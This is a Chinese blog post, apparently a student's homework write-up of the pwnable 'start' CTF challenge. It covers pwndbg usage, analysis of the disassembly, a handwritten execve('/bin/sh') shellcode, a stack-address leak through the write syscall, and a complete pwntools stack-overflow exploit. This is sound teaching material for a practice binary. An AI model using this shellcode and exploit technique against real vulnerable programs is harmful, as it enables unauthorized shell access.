【二进制安全作业】250617课上作业4 - start
文章目录
- 前言
- 一、使用环境
- 二、pwndbg介绍
- 1. 命令介绍
- 2. 界面介绍
- 三、反汇编分析
- 四、Shellcode
- 五、解题思路
- 六、编写EXP
- 结语
前言
作业3遇到了很严重的问题,一直没搞定,先略过了,要讲的东西也一起放到这里讲吧。
这道题是 pwnable 的第一道题 start 。
一、使用环境
处理器架构:x86_64
操作系统:Ubuntu24.04.2
GDB版本:16.2
pwndbg:2025.05.30
二、pwndbg介绍
这次使用新工具 pwndbg 讲解(代替 gdb)。还没安装的可以在 环境搭建 最下面的 250616补充内容 中找到。
之前安装了一直也没有用,今天尝试了一下还是很舒服的,先做一些介绍。
1. 命令介绍
pwndbg 是 gdb 的插件,所以 gdb 里能用的,pwndbg 也都能用。还有一些额外的功能:
- 内存搜索
pattern:要搜索的内容。可以用来搜索程序包含的字符串search <pattern>
- 查看栈内容
count:要查看的栈帧数,比用 x 命令来查要方便很多。但是一般用不到,因为 pwndbg 里默认就会显示栈。stack <count>
- 堆分析
addr:堆块的第一个地址。暂时还没学到相关内容,没有用过。heap <addr>
- ROP支持
不加选项时列出所有可用的 rop。rop --grep <asm>
可以使用 --grep 选项指定要匹配的 rop。 - GOT/PLT表
got 可以查看全局偏移量表。got plt
plt 可以查看过程链接表。 - 内存映射
可以查看程序中各个段的情况vmmap
- 查看文件安全
可以先在 pwndbg 中启动程序,然后用 checksec 查看安全信息,要方便一些。checksec
- 默认上下文视图
就是用 pwndbg 调试时默认的显示方式,如果因为某些原因导致显示的内容上滚得太远,又不方便让程序继续运行,可以用这个命令让调试窗口重新显示出来。context
2. 界面介绍
pwndbg 的调试界面默认由四部分组成。
第一部分是寄存器:
以前经常看的内容,在 gdb 里要用 i(nfo) r(egisters) 查看。
第二部分是反汇编:
最主要的部分,在 gdb 里要用 disas(semble) 查看。
第三部分是栈:
很关键的部分,但是在 gdb 里看起来比较麻烦,要通过 x 查看 esp/rsp 附近的内存,在 pwndbg 里要方便很多。
第四部分是调用栈:
这里可以看到函数调用和返回的顺序,以前的案例都比较简单,所以很少用,在 gdb 里用 bt 查看。
三、反汇编分析
没有源码,我上传了一个附件,也可以在 pwnable 下载。
使用 pwndbg 启动程序,使用 start 命令执行:
这里就体现出 pwndbg 的优越性了,因为以前我用 gdb 调试过这个程序,gdb 的 start 要找 main 函数执行,所以并不能启动这个程序,需要用 objdump 或者 info functions 之类的方法先找到程序入口,打了断点,然后才能开始调试,用 pwndbg 就要简单很多,直接 start 就可以了。
忘了 checksec,补充一下,无伤大雅:
这里看不到完整的反汇编,可以用 disas 看一下:
一个简单而又纯粹的程序,没有任何一条多余的指令,看起来很漂亮。
注意这里是 intel 风格的汇编,如果有需要可以使用 set disassembly-flavor att
改为 AT&T 风格的汇编。
这个汇编程序大体可以分为四部分:
第一部分是准备工作。
首先压栈了一个 esp,这一步看似无用,对程序来说也确实没用,它唯一的意义是人为制造了一个漏洞……你懂的。
然后压栈了 _exit 函数的地址,在 pwndbg 的默认反汇编窗口可以看到这个地址是 _exit 函数。作用是预留给 ret 用于跳转到程序结束。
4 个 xor 指令用于清空寄存器。
最后 push 压栈字符串。看不出这段数据是什么也没关系,我们可以等它进栈了再看它是什么。
第二部分有一个很显眼的 int 0x80 ,在进行系统调用,所以要先看 eax 是什么,这里的 al 是 ax 寄存器的低 8 位,传送了一个 4 ,x86 架构的 4 号系统调用是 write ,这一部分的作用是输出一个字符串。
在这里再简单复习一下系统调用的用法。x86 架构下,使用 int 0x80 触发系统调用,触发时,eax 保存的值为系统调用号,ebx、ecx、edx、esi、edi 分别保存第一二三四五个参数。x86_64 架构下,使用 syscall 触发系统调用,rax 保存系统调用号,rdi、rsi、rdx、r10、r8、r9 分别保存第一二三四五六个参数。对于系统调用号和调用参数不熟悉的可以查阅这个 手册
第三部分同样有一个系统调用,观察 eax ,赋值的是 3 ,所以这里是 read 系统调用,要接收输入,接收长度在 edx,0x3c,共 60 字节。
第四部分是结束程序,esp + 20,指向 _exit 的位置,然后跳转,_exit 的具体实现就不管了,总之程序结束。
安全性上 Stack
的值是 No canary found
,可以栈溢出 。
esp 的移动只有20个字节,可输出的长度足有60个字节,显然这里是留给我们溢出的。但是用 objdump 或是 info functions 可以发现,这个程序并没有什么后门函数,所以不适用之前的通过栈溢出跳转到某个函数来拿到 shell 的方法。
但是它足有 60 个字节,就算前面要用于溢出和跳转,60 - 20 也还剩 40 个字节,并且 NX
的值是 NX disabled
,栈上可执行,所以我们就可以考虑自己写一个函数在栈上,通过执行它来获取shell了。
四、Shellcode
一个新的概念,什么是 shellcode ?用来获取 shell 的 code 就是 shellcode 。
无论什么编程语言,最终都要转换成汇编语言来执行,汇编语言就约等于供人类阅读的机器码,是运行最高效的编程语言,所以直接在内存上用二进制写 shellcode,可以做到极致的简洁且高效。
shellcode 的原理也很简单,就是执行一段汇编代码,这段汇编代码要执行类似于 execve 这种可以启动 shell 的系统调用。
使用
man 2 execve
可以看到原型如下:
int execve(const char *pathname, char *const _Nullable argv[],char *const _Nullable envp[]);
execve 的第一个参数是一个可以启动 shell 的命令字符串,接收一个指针常量,其实就是字符数组。在汇编中的体现,就是一个指向字符串的地址,字符串一般使用 “/bin/sh” 。第二个和第三个参数用 NULL。
转换成x86的汇编代码,就是在 eax 里存 execve 的系统调用号 11 ,ebx 里存指向 “/bin/sh” 的地址,ecx 和 edx 存 0,然后执行 int 0x80。
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
不知道为什么使用 AT&T 风格汇编会报错,只能用 intel 风格了,和 AT&T 风格最大的区别是源操作数在后,目的操作数在前。
前两行是给 ecx 和 edx 清零,第三行是给 eax 赋值 11 。
第四和第五行是把 “/bin/bash\0” 压栈,注意这里压栈的是数字,小端序的数字入栈时是低对低,高对高的,相对于字符串的顺序来说就是低位在前,高位在后,所以是倒序压栈的。
第六行是把 esp 的值传送给 ebx ,也就是把 “/bin/bash\0” 字符串的开始地址给 ebx 。
第七行是触发系统调用。
在 pwntools 中可以用 asm() 将这段汇编代码汇编为字节串。
输出一下 shellcode ,计算一下长度:
from pwn import *context.arch='amd64'
context.os='linux'
context.endian='little'shellcode=asm("""
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")s = [f"\\x{i:02x}" for i in shellcode]
print(''.join(s))
print(len(shellcode))
因为直接输出会有部分字符进行 ASCII 转换,所以稍微处理一下。当然不处理也没关系,一般来讲也没有必要特意输出出来,只要能正常执行,长度符合要求,字节串直接拿来用就好了。
输出结果:
shellcode 为 \x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80
。
长度 23 字节。
五、解题思路
现在我们看懂了汇编代码,也有了 shellcode ,那剩下的问题就是,怎么让程序执行 shellcode ?
把断点打在输入之后:
b *_start+57
运行输入 ffff :
在栈中可以很轻松地看到,栈顶就是输入字符串的地方,地址在 0xffffd1b4 ,而跳转的地址在 0xffffd1c8 ,跳转目标是 _exit 函数。
可输入的长度是 60,跳转地址在第 21 到 24 字节,也就是偏移量是 20 ,可以放 shellcode 的内存为前 20 字节或后 36 字节,现在手里的 shellcode 长度为 23 字节,所以只能放在后 36 字节中,我们测试一下:
把跳转地址的 _exit 函数改为下一个存储单元:
set {int}0xffffd1c8=0xffffd1cc
再把下一个存储单元开始的内容替换为 shellcode :
set {char[24]}0xffffd1cc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
查看栈:
已经替换成功了,还可以看一眼 shellcode 的指令:
和我们写的汇编代码是一样的,既然栈是可以执行的,那理论上就是可以成功的,按 c 执行:
命令成功执行了,似乎是拿到了 shell ,但是 pwndbg 崩溃了,这个大概是 pwndbg 的问题,我们用 gdb 再来一遍。
打断点,执行,看栈,和刚才都是一样的,只是栈看起来要稍微麻烦一点,我标注了字符串开始的地方和跳转的地方,然后修改值:
set {int}0xffffd2d8=0xffffd2dc
set {char[24]}0xffffd2dc="\x31\xc9\x31\xd2\xb8\x0b\x00\x00\x00\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
输入 c 执行:
已经成功拿到 shell 了,但是到这里就结束了吗?
从刚才实现的方式来看,如果要写 exp ,我们需要拿到函数返回的地址,而在 pwndbg 和 gdb 的两次测试中,这个地址是不一样的。栈的位置是随机的,我们没有办法把它写死,更没有办法拿到 ctf 服务器上栈的地址,所以现在的问题变成了,要如何获得栈的地址?
源程序的汇编代码中,有一条和栈高度相关的指令,也就是第一条的 push esp ,它把栈顶压入了栈中。
我们重新启动 pwndbg ,观察第一条指令:
执行指令之前,此时 esp 指向的地址是 0xffffd1d0 ,对于黑盒测试来说这个地址是未知的,也无法通过查看寄存器的方式查看它的实际地址,但是我们执行第一条指令:
push 相当于两条指令,先是移动 esp 指向前一个存储单元,然后再把 push 的操作数存在 esp 当前指向的位置,于是 esp 之前指向的地址 0xffffd1d0 现在被存在栈上 0xffffd1cc 的位置了。
而程序继续执行的话,会调用输出的函数,于是我们就有了获得这个栈中数据的机会。
继续观察程序运行,重点观察栈的变化:
仔细感受准备阶段中栈的变化,因为 pwndbg 对栈中的内容有一定的解析,已经很容易理解了。
之后的两个系统调用只会往内存中输入一个字符串,并不会对 esp 的位置产生影响,我们再次来到 _start+57 :
当前这一条指令的内容是 esp + 0x14 ,所以可以预见,执行完这一条指令之后,esp 指向的位置是 0xffffd1c8 。
再下一条指令是 ret ,ret 相当于 pop eip,会将 esp 指向存储单元的内容弹给 eip ,并让 esp 指向下一个存储单元,而下一个存储单元保存的内容,就是我们想要的栈的地址。如果此时能调用输出的系统调用把 esp 指向的内容输出出来,我们就可以得到这个地址,而这个程序中输出的系统调用输出字符串的地址来源正是 esp :
所以只要在跳转的时候,我们让程序跳转到输出的系统调用的位置,程序就会将这个地址输出出来,那么检验一下,将跳转地址修改到 write 系统调用准备参数的地方:
set {int}0xffffd1c8=0x08048087
执行程序:
此时程序经过 ret , esp 已经指向最初压栈 esp 的位置,准备执行 mov ecx, esp,要将 esp 指向的地址传给 ecx 用于 write 输出,继续执行:
这里 pwndbg 还贴心地显示了使用的系统调用和每个参数的值。
继续执行时输出了一段乱码:
write 是一个底层输出用的系统调用,会按照给定的字节数输出,而不是处理字符串逻辑,所以此时 write 想要把这个地址的内容以字符输出 20 字节,然而这里保存的不是 ASCII 值,而是地址,所以这里输出的应该是这一部分:
至于具体是怎么输出的就不研究了,我们只要在 pwntools 中接收前 4 个字节,就可以得到一个确切的地址了,剩下的只要通过这个地址计算偏移量就好了。
继续分析程序,下一步程序要进行 read 的系统调用,此时栈里的情况是这样的:
要注意,我们拿到的地址并不是此时栈顶的地址,而是栈顶地址中保存的下一个存储单元的地址。程序还会第二次接收输入,从当前栈顶位置开始输入,并且 esp 也会再一次 +20,之后会用 esp 指向位置保存的值作为地址来跳转。所以我们应该在字符串开始 +20 偏移量的位置写跳转的地址,在地址后面写 shellcode ,然后跳转到我们拿到的地址 +20 偏移量的位置执行 shellcode。
到这里思路已经明了,也不再做更多的测试了,直接开始写 EXP。
六、编写EXP
from pwn import *# 全局配置
context.arch = 'i386'
context.os = 'linux'
context.endian = 'little'shellcode = asm("""
xor ecx, ecx
xor edx, edx
mov eax, 0xb
push 0x0068732f
push 0x6e69622f
mov ebx, esp
int 0x80
""")# 记录系统调用 write 开始的地址
write_addr = p32(0x8048087)
# 偏移量
offset = 20with process('./start') as r:# 第一次溢出,跳转回 write 系统调用first = b'A' * offset + write_addrr.sendafter(b':', first)# 接收 4 个字节的地址esp_addr = u32(r.recv(4))# 第二次溢出,偏移量+shellcode地址+shellcodesecond = b'A' * offset + p32(esp_addr + offset) + shellcoder.send(second)r.interactive()
已经成功了,$ 前的一串字节串,就是第二次执行 write 输出的那 20 字节,去掉前 4 字节后剩下的部分,因为执行到 interactive() 就一起输出出来了。
要想拿下 flag ,只要把 process 改成 remote ,参数给域名和端口号就可以了。
结语
虽然前段时间就把这个做出来了,但是也没敢发,逻辑很绕,细讲太难讲了,也没想到这么快就学到这道题了。今天挺艰难地算是写出来了,不知道大家接受的怎么样?欢迎留言讨论。